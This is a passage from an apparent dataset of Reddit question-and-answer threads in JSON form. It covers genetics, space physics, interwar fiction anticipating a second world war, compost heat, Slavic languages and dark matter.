eating better and thus able to get the full \"potential\" out of their gene combination.\n\n\n*For those who want to know more, eye colour isn't really properly Mendelian. Both blue and green eye colourings are recessive. They're \"co-recessive\", and if you have both you'll get some combination of green/blue. \"Co-dominant\" genes (some blood types) also exist, as well as various levels of dominance / partial expression.", "This is a bit of an anecdote, but it might help shed some light on this. One year my mom got a Christmas card from a really, really distant relative. I'm not even sure how they were related to us, but they has their family photo, and noted how their one daughter looked like no one else in their family. But this daughter was the spitting image of my aunt. So it's possible you do look like someone in your family, but that you've got to go pretty far out on the family tree to find them.", "You inherit a pair genes from your parents now these genes dictate what traits you express (hair texture, skin colour, shape of thumb virtually anything you can think about are expressed by genes) these genes come in a pair one dominant and one recessive and a single gene in this pair expresses the same trait differently and depending on what order you inherited these genes you express these traits differently  \n\nFor example let's use your straight hair vs your family's curly hair let's assume that straight hair is a recessive trait represented by r and curly hair is a dominant trait represented by R under these rules for someone to have straight hair they need the genes rr and to have curly hair they need RR or Rr since you have straight hair that means you have the genes rr for hair your parents have curly hair so they either have Rr or RR to find out exactly what genes your parents have we have to look at their offspring (in other words you) you have straight hair which is recessive so therefore for your parents to be able to have curly hair and at the same time pass on the recessive straight hair gene to you they must have the gene pair of Rr \n\nthis concept can be visually illustrated by a punnet square (instead of using R and r the square uses A and a but its the same concept) \n\n_URL_0_ "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.google.ca/search?safe=active&amp;hl=en&amp;site=imghp&amp;tbm=isch&amp;source=hp&amp;biw=1866&amp;bih=1026&amp;q=punnett+square&amp;oq=punnet+&amp;gs_l=img.3.0.0i10j0l5j0i10j0l3.1840.2683.0.3728.7.6.0.1.1.0.140.546.5j1.6.0....0...1ac.1.32.img..1.6.468.OJhONnbmvqA#facrc=_&amp;imgdii=_&amp;imgrc=2knID1LWB0dG1M%3A%3BVYVXO5EaWQDLpM%3Bhttp%253A%252F%252Fpassel.unl.edu%252FImage%252FsiteImages%252FPunnettSquarePlainLG.gif%3Bhttp%253A%252F%252Fpassel.unl.edu%252Fpages%252Finformationmodule.php%253Fidinformationmodule%253D957885794%2526topicorder%253D6%2526maxto%253D7%3B499%3B523"]]}
{"q_id": "90z6qo", "title": "as we continue to lob probes, cars, and eventually bigger stuff into deep space; will this eventually erode the mass of the earth enough that its orbit might be affected?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/90z6qo/eli5_as_we_continue_to_lob_probes_cars_and/", "answers": {"a_id": ["e2u7z9s", "e2u80x1", "e2u8aza", "e2u9ln1"], "score": [5, 7, 8, 2], "text": ["You underestimate mass of Earth. Earth is super heavy, so we would have to launch LOT of stuff to space to change orbit. \n\nMost probably, as we start to expand to space, we will use resources from asteroids and other bodies to build space infrastructure, while bringing lot of resources back to Earth. So in the end, we might bring more mass to Earth than opposite way", "Read from somewhere that you also need to remember that everyday, there are many extraterrestrial materials such as meteors that get caught in Earth gravity and fall on the surface of the Earth, increasing the mass of the earth!", "The top layer of the Earth, known as the crust, is up to 30 miles deep in continential areas and 5 miles deep in ocean areas. \n\nIf we manage to strip all of that out and throw it into space, the Earth loses less than 1% of its volume. Relative to that, a few cars or spaceships won't affect the overall mass of the Earth.", "We would need to launch millions of tons of material into space before the rotation is affected even slightly. And small rotation deviations can be corrected naturally in time.\n\nHonestly, before were able to alter the orbit of the earth by removing a large mass, we would first have to alter the orbit by pushing such a mass away from the surface (Newton\u2019s 3rd law) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "56w8g9", "title": "Would it ever be possible to have a low latency data-connection between Earth and Mars?", "selftext": "I understand that conventional technologies for communication are limited by the speed of light but are there any theories of possible ways to create a connection with similar latencies to those found on Earth? What engineering and scientific advances would need to be made for it be possible?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/56w8g9/would_it_ever_be_possible_to_have_a_low_latency/", "answers": {"a_id": ["d8n2abx", "d8n2f11", "d8n7dlm", "d8n8rhe", "d8n900u", "d8nb7vh"], "score": [447, 42, 19, 3, 6, 2], "text": ["No, not according to our current knowledge.\n\nCommunication faster than the speed of light is firmly in the realm of science fiction. Of course, we may be wrong and there may be a way around it, but there's currently no working theory as to what that would entail. So it is useless to speculate about it.\n\nSo for the foreseeable future, we're limited to a latency (one-way) of between 3 and 20 minutes for Earth-Mars communication.", "You would either need relativity to be fundamentally flawed, or you'd need time travel. Thanks to [relativity of simultaneity](_URL_0_), from some reference frames such a connection would have data arrive before it's sent.", "Well, the only viable way we know of to go ftl is via warping space to shorten the distance between two points.  We have no idea how to do that, but in theory you could create a constant narrow region of space between earth and mars to lower latenency.  Alot of other potential ftl methods require us to be able to harness negative mass and/or energy, something we dont know is/isn't possible.", "I am sure someone will explain why this would not work or could not be used but what about quantum entaglement?  Have one particle here on Earth, the other on Mars and then change the state of one and watch the state of the other.  I am sure there are reasons why this does not work but I just thought I would throw it out there for discussion.", "well you could have probes which physically travel and transfer 100 terabit drives from a satellite of earth to a satellite of mars and transfer data that way\n\n\n\nthat'd be quicker than sending massive amounts of data using a radio wave, but the latency would be like 6 months ", "With our current understanding of relativity, there will never be a low latency connection to Mars unless wormholes somehow happen.\n\nBut in a scenario there is a sizable civilization on Mars with a mature information network it could have its own Internet with new data being transmitted between earth and Mars as regular high volume packets. So long ad you aren't trying to game across planets you would never notice, emails might take a few minutes with very good technology!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Relativity_of_simultaneity"], [], [], [], []]}
{"q_id": "21bmx4", "title": "if a metal like iron were to be superheated to a gaseous state what would happen if a magnet was held up to it?", "selftext": "I know it's not realistic. But what would happen? Would it all be attracted, would there be some polarization that screws it up?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/21bmx4/eli5_if_a_metal_like_iron_were_to_be_superheated/", "answers": {"a_id": ["cgbgq1j", "cgbgs71"], "score": [60, 4], "text": ["Ferromagnetic materials like steel or whatever lose their magnetism at its curie point or curie temperature. They all have a different temperature at which you wouldn't be able to magnetize the metal anymore.\n\nIts also worth noting that we currently don't know how magnetism works. We can see its effects, we can manipulate it and we have theories on how it functions but officially \"fucking magnets, how do they work?\"", "Short answer: yes, but the effect might not exactly be how you'd think.\n\nLong answers by people that can explain way better than me here: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.newton.dep.anl.gov/askasci/phy05/phy05576.htm"]]}
{"q_id": "21o917", "title": "Does the inflation affect the time light takes to travel?", "selftext": "If there was a supernova 50 light years away, that would mean that the light took 50 years to reach earth. But since the universe is expanding wouldn't light take longer to reach us because it has more distance to travel than when it first left.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/21o917/does_the_inflation_affect_the_time_light_takes_to/", "answers": {"a_id": ["cgf1hzc"], "score": [2], "text": ["First off, in cosmology the term \"inflation\" refers only to the ultra-rapid expansion in the first fraction of a second after the big bang. \"Cosmic expansion\" is applicable to the whole history of expansion.\n\nNot on the scale of 50 light years, because that's within the Milky Way and is thus not subject to cosmic expansion. But if you had a supernova whose proper distance to the Earth was 50 million light years at the time of the event, the intervening space would expand while the light was traveling and you'd have to wait a bit longer to see the light.\n\nAnd of course, if you have a sufficiently distant object, the distance between it and the Earth might increase by more than 299,792,458 meters each second, in which case the light won't be able to reach us unless the Hubble Constant decreases. As it happens, the Hubble Constant *is* decreasing, though gradually. However, expansion is still accelerating-- it's just a result of how the math works out that H0 will decrease from its current ~70 km/s/Mpc to around 60 km/s/Mpc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "mrkv3", "title": "quote from the book/movie no country for old men", "selftext": " >  If the rule you followed brought you to this, of what use was the rule?\n\nJust recently saw the movie again and am a little confused as to the meaning behind this quote. I feel like it's powerful and supposed to mean something \"deep\", but I don't get it.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/mrkv3/eli5_quote_from_the_bookmovie_no_country_for_old/", "answers": {"a_id": ["c33ar2c", "c33b89d", "c33db67", "c33ar2c", "c33b89d", "c33db67"], "score": [33, 3, 2, 33, 3, 2], "text": ["I've read the book a couple of times and watch the movie even more, so here is my take on this quote.\n\nThe entire story is about not Chigurh or Moss, but Sheriff Bell.  He is a man from a different age when crime was not nearly as rampant in his part of the world.  Throughout the span of his life he has seen the gradual rise in drug/gang related violence, into full blown warfare.  He is at the point where he believes that there is no place in this \"new\" world for people like him, who are disgusted with what he perceives as deteriorating morals in the country he loves.\n\nAnton Chigurh, by necessity of his profession, does not have \"morals\" in the traditional sense.  He does, however, follow a set of rules that he believes in.  To him, the fate of everyone is set and he does his part to fulfill that.  Anyone who directly crosses him will be killed, but he gives others a \"chance\" with the coin flip.  If he truly intends to kill someone, he knows that the coin will fall in his favor.  When killing Carla Jean Moss, he gave her the fleeting chance of the coin toss but told her that in the end it really didn't matter.  Overall, Chigurh is purely amoral in the traditional sense but lives his life in the only way he deems to be correct.\n\nThis was all pretty much just a preface for me to say the following - if the way that you live your life: your morals and your standards, brought you to be senselessly killed, what was the use?  Most people live a moral life, in order to stay out of trouble and be happy.  Since Chigurh believes that destiny is fixed and they were bound to be murdered by him no matter what, then morals are irrelevant and pointless.", "In general, It's talking about morality and the rules we live by, the rules society sets for us to live by, etc. If our rules or morals lead us to some form of malevolence, or cause us to experience pain, etc. why follow the rule?\n\nI'm sure someone can explain it better, but that's my take.", "In the context of the book Chigurh believes he has led his life as a hitman according to strictly professional codes of conduct whereas his rival Wells has been sloppy and careless, the result of which will be his death.  That is what he is saying.  Basically that if this was the rule you were following what good was it to begin with?  Look where it got you.  Best not to read into it too much.  A plain reading renders this interpretation.", "I've read the book a couple of times and watch the movie even more, so here is my take on this quote.\n\nThe entire story is about not Chigurh or Moss, but Sheriff Bell.  He is a man from a different age when crime was not nearly as rampant in his part of the world.  Throughout the span of his life he has seen the gradual rise in drug/gang related violence, into full blown warfare.  He is at the point where he believes that there is no place in this \"new\" world for people like him, who are disgusted with what he perceives as deteriorating morals in the country he loves.\n\nAnton Chigurh, by necessity of his profession, does not have \"morals\" in the traditional sense.  He does, however, follow a set of rules that he believes in.  To him, the fate of everyone is set and he does his part to fulfill that.  Anyone who directly crosses him will be killed, but he gives others a \"chance\" with the coin flip.  If he truly intends to kill someone, he knows that the coin will fall in his favor.  When killing Carla Jean Moss, he gave her the fleeting chance of the coin toss but told her that in the end it really didn't matter.  Overall, Chigurh is purely amoral in the traditional sense but lives his life in the only way he deems to be correct.\n\nThis was all pretty much just a preface for me to say the following - if the way that you live your life: your morals and your standards, brought you to be senselessly killed, what was the use?  Most people live a moral life, in order to stay out of trouble and be happy.  Since Chigurh believes that destiny is fixed and they were bound to be murdered by him no matter what, then morals are irrelevant and pointless.", "In general, It's talking about morality and the rules we live by, the rules society sets for us to live by, etc. If our rules or morals lead us to some form of malevolence, or cause us to experience pain, etc. why follow the rule?\n\nI'm sure someone can explain it better, but that's my take.", "In the context of the book Chigurh believes he has led his life as a hitman according to strictly professional codes of conduct whereas his rival Wells has been sloppy and careless, the result of which will be his death.  That is what he is saying.  Basically that if this was the rule you were following what good was it to begin with?  Look where it got you.  Best not to read into it too much.  A plain reading renders this interpretation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "9iixdv", "title": "Is the Ipuwer Papyrus evidence for the Exodus narrative?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9iixdv/is_the_ipuwer_papyrus_evidence_for_the_exodus/", "answers": {"a_id": ["e6jyux6"], "score": [2], "text": ["While there\u2019s always more to say on the subject, we do have a section of the FAQ on [the historicity of Exodus](_URL_0_). I would also point you to [this discussion](_URL_1_) by u/Bentresh."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/faq/religion#wiki_do_we_know_if_the_exodus_happened_the_way_it.27s_told_in_the_bible.3F_if_at_all.3F", "https://www.reddit.com/r/AskHistorians/comments/72jxn1/a_plague_of_frogs_sounds_more_like_a_nuisance/"]]}
{"q_id": "3l6ead", "title": "Are there any examples of fiction written between 1918 and 1939 about a second world war?", "selftext": "I was just wondering if anyone thought it would happen, considering WWI was called \"The war to end all wars\" at the time. Also, if there are any examples, how accurate were the authors predictions?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3l6ead/are_there_any_examples_of_fiction_written_between/", "answers": {"a_id": ["cv3mh8s", "cv3plpg", "cv3q8u3", "cv3s43n", "cv3sq4o", "cv3uutk", "cv3uvvq", "cv3vc0a", "cv3z9s1", "cv3zqrc", "cv3zra0", "cv3zwa8", "cv3zyii", "cv401t8", "cv40tmo", "cv43wct", "cv44ham", "cv458n4", "cv45z41", "cv49fb6"], "score": [74, 518, 7, 45, 124, 11, 7, 27, 3, 21, 9, 4, 11, 10, 5, 9, 3, 6, 3, 6], "text": ["You might want to crosspost at /r/asksciencefiction. Somebody who specializes in Golden Age might know some.", "Hopefully this isn't too far off topic, but Meccania: The Super-State was a speculative novel by Owen Gregory published in 1918. While it doesn't feature a world war, it does oddly seem to anticipate events leading up to and surrounding WWII including a totalitarian government in Germany, the Holocaust, and the 1939 Molotov-Ribbentrop Pact. Set in 1970, a traveler visits a European country called Meccania that geographically resembles Germany. He finds that it's ruled by a totalitarian government that controls the population through an extensive eugenics program, oppressive monitoring, and by rounding up and transporting rebels to mental hospitals and camps. Meccania also has a non-aggression pact with a large nation to the east that geographically resembles the USSR. I don't have a literary history to cite, but the novel itself is in the public domain and available online.", "Sinclair Lewis' *It Can't Happen Here* focuses on the idea of the United States becoming a fascist dictatorship and war resulting from the regime and its policies.", "I am no historian, and this may not be what you want precisely, but a Norwegian poem springs to mind. Arnulf \u00d8verland saw the trouble brewing in Germany and wrote a warning, \"Du m\u00e5 ikke sove!\" (You must not sleep!). I've always found it interesting that this was written in 1936 and published in 1937, three years before Norway's neutrality policy ended in occupation.\n\nI'm including an English translation of the poem. The translation does muck up the rhymes quite a bit, and the poem loses some meaning (The original references Jesus' famous \"Forgive them father, they know not what they do.\" by saying \"Forgive them not, they know what they do.\", here translated to \"Pardon them not...\"), but it is a fair translation and I don't presume to do a better job myself.\n\n    Dare not to sleep!\n    \n    I was awakened one morning, by the quaintest of dreams\n    \u2018twas like a voice, spoken to me\n    It sounded afar - like an underground stream,\n    I rose and said: Why do you call me?\n    \n    Dare not to slumber! Dare not to sleep!\n    Dare not believe, it was merely a dream!\n    Yore I was judged.\n    The gallows were built in the court this evening,\n    They\u2019ll come for me \u2014 5\u2019 in the morning\n    \n    This dungeon is teeming,\n    And barracks stand dungeon by dungeon\n    we lie here, awaiting, in cold cells of stone,\n    We lie here, we rot, in these murky holes.\n    \n    We know not ourselves, what does lie ahead\n    Who will be the next one they'll reach for.\n    We moan and we shriek: But do you take heed?\n    Is there none among you who\u2019ll hearken?\n    \n    No one can see us,\n    None know what befalls us.\n    Yet more:\n    None will believe - what the day will bring us!\n    \n    And then You defy: This dare not be true!\n    That men can be utterly evil.\n    There has to be some one with merits pure\n    Oh, brother, you still have a great deal to learn\n    \n    They said: You will give your life, if commanded\n    We\u2019ve given it now, for naught it was handed\n    The world has forgotten, we\u2019ve all been deceived\n    Dare not to sleep in this hour - this eve.\n    \n    You oughtn\u2019t go to your business hence,\n    Or think: What\u2019s your loss \u2013 or what is your gain?\n    You oughtn\u2019t attribute your fields and your kine,\n    Nor say you\u2019ve enough - with all that is thine.\n    \n    You oughn\u2019t abide, sitting calm in your home\n    Saying: Dismal it is, poor they are, and alone\n    You cannot permit it! You dare not, at all.\n    Accepting that outrage on all else may fall!\n    I cry with the final gasps of my breath:\n    You dare not repose, nor stand and forget\n    \n    Pardon them not - they know what they do!\n    They breathe on hate-glows, and evil pursue,\n    They fancy to slay, they revel with cries,\n    Their desire is to gloat, when our world is at fire!\n    In blood they are yearning to drown one and all!\n    Don\u2019t you believe it? You\u2019ve heard the call!\n    \n    You know how infants will soldiers remain,\n    While dashing through streets, fields, chanting \u2018bout pain\n    Aroused by their mothers\u2018 assurance of glory\n    They\u2019ll shelter their land - and they\u2019ll never worry\n    \n    You know the fatality of the lies,\n    that glory and faith and honor abides\n    You discern the dauntless dreams of a child,\n    A saber, a banner, he\u2019ll flaunt them so wild,\n    \n    And then they\u2019ll leave home for a rainfall of steel,\n    \u2018Till last they hang ragged on barbed wire will,\n    Decaying for Hitler's Aryan call,\n    That is what a man\u2019s for - after all\u2026\n    \n    I couldn\u2019t imagine \u2013 too late now it is\n    My sentence is just: The verdict's no miss\n    I believed in prosperity, dreamt about peace\n    In labor and fellowship; love\u2019s fragrant kiss\n    Yet those who don\u2019t die on the battlefield,\n    Their heads for the axeman, will certainly yield\n    \n    I cry in the gloom - if only you\u2019d knew\n    There is but one thing - befitting to do\n    Defend yourself, while your hands are still yearning,\n    Protect your offspring - Europe is burning.\n    \n    ***\n    \n    I shook from the chill. To dress, up I rose\n    Without stars were shining, so far, yet so close\n    \u2018twere simply a brilliant ray in the east,\n    Admonishing warning from the dream that just ceased\n    \n    The day that soared up from earths furthermost strand\n    Augmenting with blood \u2014 and with firebrand\n    It grew with terror - like a breath that was lost\n    It seemed like the starlight - was slain by the frost.\n    \n    I weighed: Something is imminent - and it\u2019s dire\n    Our era is over \u2014 Europe\u2019s on fire!\n\nArnulf \u00d8verland, \u00abDen R\u00f8de Front\u00bb, Tiden Norsk Forlag 1937.\n\nTranslation by Lars-Toralf Storstrand. ", "*Red Napoleon* of 1929, by Floyd Gibbons depicts a Soviet conquest of continental Europe followed by an invasion of the USA.  Stalin is assasinated in 1932, and the Red Army take over, invading Poland in 1933.  Obviously not terribly accurate, although some German officers would likely have recognized the descriptions of the unstoppable Soviet 'horde'.\n\n*The Great Pacific War* of 1925, by Hector Charles Bywater describes a hypothetical future war between Japan and the United States.  Some of Bywater's details are correct; he accurately predicted where the Japanese would land to invade the Philippines, for example, but many other details are wrong.  From an H-net review:\n\n > Bywater's script shows its age when compared with the struggle that began in December 1941, particularly in his concentration on battleships and corresponding lack of emphasis on submarine, carrier air, and amphibious operations.\n\n > All this aside, Bywater surely gave readers their money's worth. Following a plausible account of the descent into war, he blows up the Panama Canal, for starters. Next, he lands the Japanese in Lingayen Gulf and Lamon Bay near where they actually landed in 1941; terrorizes the Pacific Coast with submarine and seaplane raids; ambushes the American fleet in Magellan Straits; stages an uprising in Oahu and the Big Island by the local Japanese populace; and describes a unified China putting the finishing touches to Japan's defeat. He probably influenced the Americans more than the Japanese with his descriptions of attacks in Hawaii and on the West Coast, but the Japanese Navy actually considered flying boat raids like those in the book.", "Might not be what you're looking for, but Karel \u010capek's novel *War with the Newts*, which was published in 1936, actually does a remarkably good job of describing the rise of fascism, racial ideology in politics, and nationalism in a somewhat allegorical context.  Essentially, it culminates in a war with a race of giant, intelligent newts.  Although the book is firmly in the realm of science fiction, \u010capek does draw strong parallels to the political and social conditions in the Czechoslovakia at the time.  Many of the descriptions of the war and the culture surrounding it in the book bare uncanny resemblances to those of the war that would break out in the years just after the books publication.  It's a fascinating read and I highly recommend it.", "Evelyn Waugh's *Vile Bodies* (1930) ends with the main character on \"the world's biggest battlefield\" somewhere in Europe, in a war that begins during the mid-1930s. There's little description of the war itself, apart from that, but it's supposed to be something massive.", "First and Last Men by Olaf Stapledon.\n\nIt's about a lot of war, imagined, kind of a recounting (actually foretelling, from a \"First Man\" perspective) from a \"Last Man\" knowledge, far in the future. But, in the series of events, the narrator tells how the situation after the Treaty of Versailles would give rise to another European war. Though, in his foreword, he said he really hoped it wouldn't be true. Written in 1930.\n\n[First and Last Men](_URL_0_)", "Check out Insatiability by Witkiewicz - about a Chinese Communist invasion. ", "[Things To Come](_URL_0_) is a 1936 film based on a 1933 story by HG Wells. The film starts in 1940 with two friends discussing the impending war, and comes quite close to predicting the start date of WWII. The film the follows the stories of several generations of participants in a second world war that lasts for another 30 years. The Britain of the film eventually falls into a state of barbarism and warlords, having lost all of the nations industrial capacity, as well as central government, and any memory of what the generations long war was really about. \n\nEventually they are contacted by a new government built on superior air technology. Despite being a pacifist organization, they use superior military air power to pretty literally bomb (with sleeping gas?) the citizens of Britain into subjugation. \n\nThe film is well known for fairly accurately predicting the start of WWII, but is also a keen example of the fears of warfare following the close of WWI. The use of large scale gas warfare in WWII was an understandable but unfounded reaction to the use of gas warfare in WWI. Additionally, the films treatment of a war that could not be won, that would take decades and result in a complete breakdown in central government, was a common anxiety related to the increasing efficiency and scope of contemporary warfare. The large role of aerial warfare in the film reflected emerging opinions about the role of aircraft in future wars as a game changer towards a requirement of air superiority for victory. Likely informed by Giulio Douhet's Command of the Air, a strategic treatise on future aerial combat that was popular, but not taken seriously at the time, it wasn't the first time Well's had applied prescience to aerial warfare. Well's 1907 War in the Air was also a future history of aerial warfare, this time predating WWI.", "There's a (nonfiction) 1921 book I read called *The Next War: An Appeal to Common Sense* by Will Irwin, which pretty much predicts it, and also predicts things like drone warfare (radio controlled aircraft) and social programs and stuff being cut in favor of defense spending ((on aircraft carriers) \"The amount of money two such ships will cost would provide an increase of $800 per year for five years in the salaries of 13,000 school teachers. It is possible we shall have to do without properly paid teachers in order to prepare adequately for the next war.\")", "H.G Wells [*The Shape of Things to Come*](_URL_0_) written in 1933 predicts the second world war and the German invasion of Poland over the flashpoint at Danzig, although thought Poland would fight Germany to a stalemate. There is prediction of the coming vital importance of air superiority, among other things.\n\n\n", "I'm surprised that nobody has mentioned H. G. Wells' 1933 book *The Shape of Things to Come* and the 1936 film based on it, *Things to Come*.\n\nIn it it has Germany invade Poland over the Danzig Corridor in January 1940, only a few months off but after that things change considerably. Poland and Germany slug it out for years, dragging other nations into the war as the global economy collapses. Eventually a plague (a bioweapon in the film, I've not read the book myself so I'm not sure if it's supposed to be natural or not) combined with war exhaustion causes the collapse of civilization and a new dark age.\n\nEventually some scientists and engineers set up in Iraq, build advanced aircraft and decide to end war forever by ~~conquering the world~~ and outlaw independent nations ~~by conquering the world~~ creating a global benevolent dictatorship.\n\nIt's up on Youtube. It's an interesting film, though not exactly a great one. When making *2001: A Space Odyssey* Stanley Kubrick asked Arthur C. Clarke to reccomend some Science Fiction, Clarke recommended *Things to Come* and Kubrick said he's never listen to Clarkes recommendations again.\n_URL_0_", "There's a book \"Swastika Night\" by Katharine Burdekin, written in 1937, which is a futuristic novel about a Nazi dominated future hundreds of years after the establishment of the Third Reich. In the novel, the Nazis won the '20 years war' and established a global empire along with Japan. The war turns Germany and Japan into global superpowers who cannot win an outright war against each other, but fight to a series of stalemates. The novel takes on the German rewriting of history, so that in the future, the Nazi version of history portrays Hitler as a god-like figure who single handily won the war, personally leading the air force to victory (a nod at the coming importance of air power in the next world conflicts) \n", "Slightly off topic to the world of political cartoons: There is a famous cartoon that was published in the Daily Herald (which later became The Sun) shortly before the signing of The Treaty of Versailles which is entitled [Peace and Future Cannon Fodder](_URL_0_) and depicts Lloyd George, Woodrow Wilson  &  Georges Clemenceau leaving the negotiations and Clemenceau mentions he can hear a child crying and behind a pillar a child is sobbing with \"1940 class\" written above his head while the peace treaty is on the floor.\n\nThe prediction the comic is making is that the terms of the peace treaty will result in another great war some 20 years in the future.", "'The Death Guard' by P G Chadwick is worth a read if you can find a copy. It's pretty obscure - written just after WW1, but not published until WW2 started,then had nearly the entire first publishing run destroyed in a bombing raid and was forgotten for 50 years. As far as predictions go, it's less than accurate (the predicted war is the UK vs the rest of Europe) but does have some interesting concepts - plant-based genetically-created warriors made in UK factories as the ultimate deterrent after WW1 (their creator came up with the idea in the trenches) that turn on the population, an alliance of European powers with high-tech weapons (electric gas, something resembling atomic bombs, airships launching squadrons of dive-bombers), doctored newsreels to make propaganda videos, lots of tanks and quite an apocalyptic feel. H G Wells was apparently a huge fan of it - I read it as a kid in my local library but haven't seen a copy anywhere in a long time. ", "Sorry if this isn't suited for this sub, but HG Wells wrote \"The Shape of Things to Come\" in 1933, which started off by predicitng another world war between Germany and Poland that escalates in 1940.", "Robert Heinlein's [For Us, The Living](_URL_0_) was written in 1938.  (Which was about the worst possible year for a novel attempting to predict the future.)\n\n\nThe book is set in 2086.  A man from 1938 is mysteriously transported to this time and spends most of the novel having the last century and a half of history, along with current political thought, explained to him by a beautiful woman.  (Every scifi nerd's dream.)\n\n\nIIRC, he predicts a war in Europe in the early 50's.  It's bad but eventually blows over.  The US stays out of it.  Something like the EU is formed with the King of England as its titular head.  This eventually collapses and Europe goes through an apocalyptic war.  In the time of the novel, it is a dark continent from which there is no communication and about which little is known.\n\n\nThe book presents many socially progressive themes which are a hallmark of most of Heinlein's work (Free(ish) love, rationalism, removal of old social stigmas, and militant nudism).  However, it also shows, in a favorable light, interventionist economic schemes (most notably a basic guaranteed income) which sit at odds with his later libertarianism/anarchism/objectivism shown in books such as *The Moon is a Harsh Mistress*, *The Cat Who Walked Through Walls*, and *The Number of the Beast*.\n\n\nIn my opinion, it's not nearly his best work.  Like *Starship Troopers* or *Job*, the story is mostly there to support a dissertation on his political and philosophical beliefs.  And the story isn't that good.", "Cold Comfort Farm (1932) takes place in an undefined future and makes references to the \"Anglo Nicaraguan War\" of 1946 and a subsequent influx of Argentinians to the UK. Also, many civilians have their own airplanes. It's an awesome book. ", "There's a science fiction book called Quinzinzinzili by French author Regis Messac in 1935. It predicts a second world war, with the Japanese involved in the side of Germany.  \n\nThe japanese invent a weapon of mass destruction. The weapon is used and all humanity is wiped. The book is about a teacher following a group children who survived and start to recreate mankind."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Last_and_First_Men"], [], ["https://en.wikipedia.org/wiki/Things_to_Come"], [], ["https://en.wikipedia.org/wiki/The_Shape_of_Things_to_Come"], ["https://www.youtube.com/watch?v=atwfWEKz00U"], [], ["https://www.cartoons.ac.uk/record/P0497"], [], [], ["https://en.wikipedia.org/wiki/For_Us,_The_Living:_A_Comedy_of_Customs"], [], []]}
{"q_id": "1lk3ph", "title": "What makes my compost pile so hot?", "selftext": "I have a pretty large compost pile, about 5'x5' in my backyard. It is composed of kitchen scraps, egg shells, coffee and filters, chicken bedding (hay and chicken waste), rabbit bedding(cedar shavings and rabbit waste), grass clippings and oak leaves. In the past I just let it grow, not thinking much about. Recently, however, I became curious as to why it was not decomposing and stumbled upon the concept of hot composting. I was hopeful that my ratios were pretty good and starting turning the pile every other day to introduce oxygen and watering throughout just enough to keep it damp. And it worked. The second time I turned the stuff it nearly burned my sandalled feet. I could also see steam rising after I removed the topmost layer. So what is making my compost so hot?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lk3ph/what_makes_my_compost_pile_so_hot/", "answers": {"a_id": ["cc02rdy"], "score": [3], "text": ["There is an [awesome page here all about this](_URL_0_).\n\nBasically, your compost pile doesn't degrade on its own, it has help from microorganisms living in it.  They eat the compost, and then excrete waste both in the form of physical secretions and heat.  A lot of the food you eat goes into keeping you warm, and the same goes for the bacteria in your compost pile."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://compost.css.cornell.edu/microorg.html"]]}
{"q_id": "1v0e0t", "title": "what are the differences between the ukrainian language and russian?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1v0e0t/eli5_what_are_the_differences_between_the/", "answers": {"a_id": ["cengfxh", "cenlr8m"], "score": [2, 3], "text": ["They are pretty much completely different languages.  The alphabet is the same (I think...) and there are a fair number of cognates.  A person fluent in one might be able to get the general gist of a sentence of the other, but not much more.  I believe it's similar to the difference between Spanish and Portuguese. ", "Ukrainian is actually closer to Polish than it is to Russian -- a fact that's not too surprising when you consider that before 1945 much of what is modern western Ukraine used to be eastern Poland. For example Lviv, one of the largest cities in Ukraine, spent the first 700 years of its existence as a Polish city called Lw\u00f3w.\n\nSo back to the languages. Ukrainian is related to Polish, although they've been separate for long enough that they are certainly different languages. However a Pole listening to a Ukrainian will often hear plenty of similar-sounding words, a little bit like how an English speaker listening to someone speaking Dutch will sometimes hear things that sound familiar.\n\nOf course due to its incorporation into Tsarist Empire and then into the USSR, Ukraine spent much of the 19th and 20th centuries with strong ties to Russia. In the Soviet Union of Stalin's era there was an attempt to eliminate Ukrainian as a language as part of the Russification policy, and so during that period in particular a lot of Russian phrases became absorbed into the Ukrainian language. But even after all that, it's still closer to Polish!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "41iw4p", "title": "Most models of Dark Matter presuppose that it interacts with both gravity and the weak force. Why do Physicists believe that Dark Matter interacts with the weak force at all, why couldn't Dark Matter feel gravity alone?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/41iw4p/most_models_of_dark_matter_presuppose_that_it/", "answers": {"a_id": ["cz2pgaq", "cz2q1d6"], "score": [2, 28], "text": ["when we run n-body simulations, formation of large scale structure, and clusters best match our observations when we assume dark matter is weakly interacting.\n\nplus if we assumed dark matter only interacted gravitationally, we couldn't design any direct or indirect detection experiments, we would have no leads.", "A few reasons:\n\n1) The so-called \"WIMP miracle\", which is that if you assume dark matter is a single, weakly interacting, massive particle, and calculate the expected relic abundance (how much is left after it drops out of thermal equilibrium shortly after the big bang) then you \"miraculously\" end up with about the observed amount of dark matter. If the particle only interacted gravitationally, we would end up with way too much dark matter because it would fail to self-annihilate away.\n\n2) A LOT of beyond-the-standard-model models (such as supersymmetry) predict weakly-interacting massive particles, especially in the context of the [hierarchy problem](_URL_0_). Not so many models predict particles that only interact gravitationally.\n\n3) Precedent. We know of particles already that are only weakly interacting 